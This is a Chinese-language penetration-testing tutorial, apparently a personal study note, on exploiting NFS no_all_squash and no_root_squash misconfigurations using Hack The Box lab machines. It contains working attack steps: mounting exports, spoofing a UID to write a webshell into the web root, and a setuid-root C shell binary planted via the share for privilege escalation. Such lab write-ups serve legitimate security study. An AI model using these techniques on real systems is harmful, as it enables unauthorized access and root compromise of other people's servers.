:::info 网络文件系统 NFS 允许用户通过托管在 Unix/Linux 系统上的网络访问共享文件或目录, NFS 使用 TCP/UDP 端口 2049,可以通过发出命令远程列出任何可访问的挂载

:::

NFS

no_all_squash

:::info 这个配置是当我们连接 NFS 服务时,我们当前用户的 uid 会对应目标系统的 uid

:::

我们使用这个靶场作为解释:

Squashed

当有 NFS 服务时,我们应该先列出存在那些共享并挂载到本地:

  1. └──╼ $showmount -e 10.10.11.191
  2. Export list for 10.10.11.191:
  3. /home/ross *
  4. /var/www/html *
  5. # 使用命令挂载
  6. sudo mount -t nfs 10.10.11.191:/home/ross /mnt/ross -o nolock
  7. sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/html -o nolock

接下来我们应该对这些文件夹进行枚举查看其中存在什么内容:

  1. ─[✗]─[root@parrot]─[/mnt/ross]
  2. └──╼ #tree -a .
  3. .
  4. ├── .bash_history -> /dev/null
  5. ├── .cache [error opening dir]
  6. ├── .config [error opening dir]
  7. ├── Desktop
  8. ├── Documents
  9. └── Passwords.kdbx
  10. ├── Downloads
  11. ├── .gnupg [error opening dir]
  12. ├── .local [error opening dir]
  13. ├── Music
  14. ├── Pictures
  15. ├── Public
  16. ├── Templates
  17. ├── Videos
  18. ├── .viminfo -> /dev/null
  19. ├── .Xauthority
  20. ├── .xsession-errors
  21. └── .xsession-errors.old
  22. # /var/www/html 没有权限
  23. # 但是我们可以使用 nmap 进行扫描
  24. sudo nmap --script=nfs-ls 10.10.11.191
  25. 111/tcp open rpcbind
  26. | nfs-ls: Volume /home/ross
  27. | access: Read Lookup NoModify NoExtend NoDelete NoExecute
  28. | PERMISSION UID GID SIZE TIME FILENAME
  29. | rwxr-xr-x 1001 1001 4096 2022-12-14T10:17:42 . # UID 为 1001 的用户可以读取
  30. | ?????????? ? ? ? ? ..
  31. | rwx------ 1001 1001 4096 2022-10-21T14:57:01 .cache
  32. | rwx------ 1001 1001 4096 2022-10-21T14:57:01 .config
  33. | rwx------ 1001 1001 4096 2022-10-21T14:57:01 .local
  34. | rw------- 1001 1001 2475 2022-10-31T10:13:23 .xsession-errors.old
  35. | rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Documents
  36. | rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Music
  37. | rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Pictures
  38. | rwxr-xr-x 1001 1001 4096 2022-10-21T14:57:01 Public
  39. |
  40. |
  41. | Volume /var/www/html
  42. | access: Read NoLookup NoModify NoExtend NoDelete NoExecute
  43. | PERMISSION UID GID SIZE TIME FILENAME
  44. | rwxr-xr-- 2017 33 4096 2022-12-14T10:40:01 . # UID 为 2017 的用户可以读取
  45. | ?????????? ? ? ? ? ..
  46. | ?????????? ? ? ? ? .htaccess
  47. | ?????????? ? ? ? ? css
  48. | ?????????? ? ? ? ? images
  49. | ?????????? ? ? ? ? index.html
  50. | ?????????? ? ? ? ? js
  51. |_

在本环节中是存在一个 html 文件夹,该文件夹一定是网页文件,所以我们应当在这里写一个 WEBSHELL,同时通过枚举我们可以知道该文件夹是只有 2017 用户才可以访问,所以我们应该创建一个 UID=2017 的用户访问,具体原因看后面资料会讲解,现在我们在本地创建一个相应的用户并且我们使用该用户去访问 html 文件:

  1. # 首先创建一个用户
  2. ┌─[root@parrot]─[/mnt/ross]
  3. └──╼ #useradd tom
  4. # 将 tom uid 设置为 2017
  5. ┌─[root@parrot]─[/mnt/ross]
  6. └──╼ #usermod -u 2017 tom
  7. ┌─[jtz@parrot]─[~/Desktop/Temp]
  8. └──╼ $cat /etc/passwd | grep tom
  9. tom:x:2017:1006::/home/tom:/bin/sh
  10. ┌─[root@parrot]─[/mnt/ross]
  11. └──╼ #su tom
  12. $ pwd
  13. /mnt/ross
  14. $ bash
  15. ┌─[tom@parrot]─[/mnt]
  16. └──╼ $cd html
  17. ┌─[tom@parrot]─[/mnt/html]
  18. └──╼ $ls
  19. css images index.html js

现在我们就可以访问 html 文件夹并写入 WEBSHELL 了

no_root_squash

:::info 这个方法还没有遇到过,总体来说这个方法是因为 NFS 配置失误,当我们使用 root 身份连接时,相应的我们对这个目录的权限也是 root

  • 这个方法可以用于提权

:::

  1. # showmount -e列出了 NFS 客户端的 NFS 服务器的导出列表(或文件系统的访问控制列表)
  2. showmount -e 10.129.2.12
  3. Export list for 10.129.2.12:
  4. /tmp *
  5. /var/nfs/general *

利用思路为:我们在本地创建一个恶意二进制文件赋予其执行权限,上传到目标后执行即可

  1. # 创建一个简单的二进制文件,在本地挂载目录,复制它,并设置必要的权限
  2. # shell.c
  3. #include <stdio.h>
  4. #include <sys/types.h>
  5. #include <unistd.h>
  6. int main(void)
  7. {
  8. setuid(0); setgid(0); system("/bin/bash");
  9. }

在本地编译后上传:

  1. htb@NIX02:/tmp$ gcc shell.c -o shell
  2. root@Pwnbox:~$ sudo mount -t nfs 10.129.2.210:/tmp /mnt
  3. root@Pwnbox:~$ cp shell /mnt
  4. root@Pwnbox:~$ chmod u+s /mnt/shell

在目标端执行:

  1. htb@NIX02:/tmp$ ./shell
  2. root@NIX02:/tmp# id
  3. uid=0(root) gid=0(root)

资料

NFS no_root_squash&no_all_squash 错误配置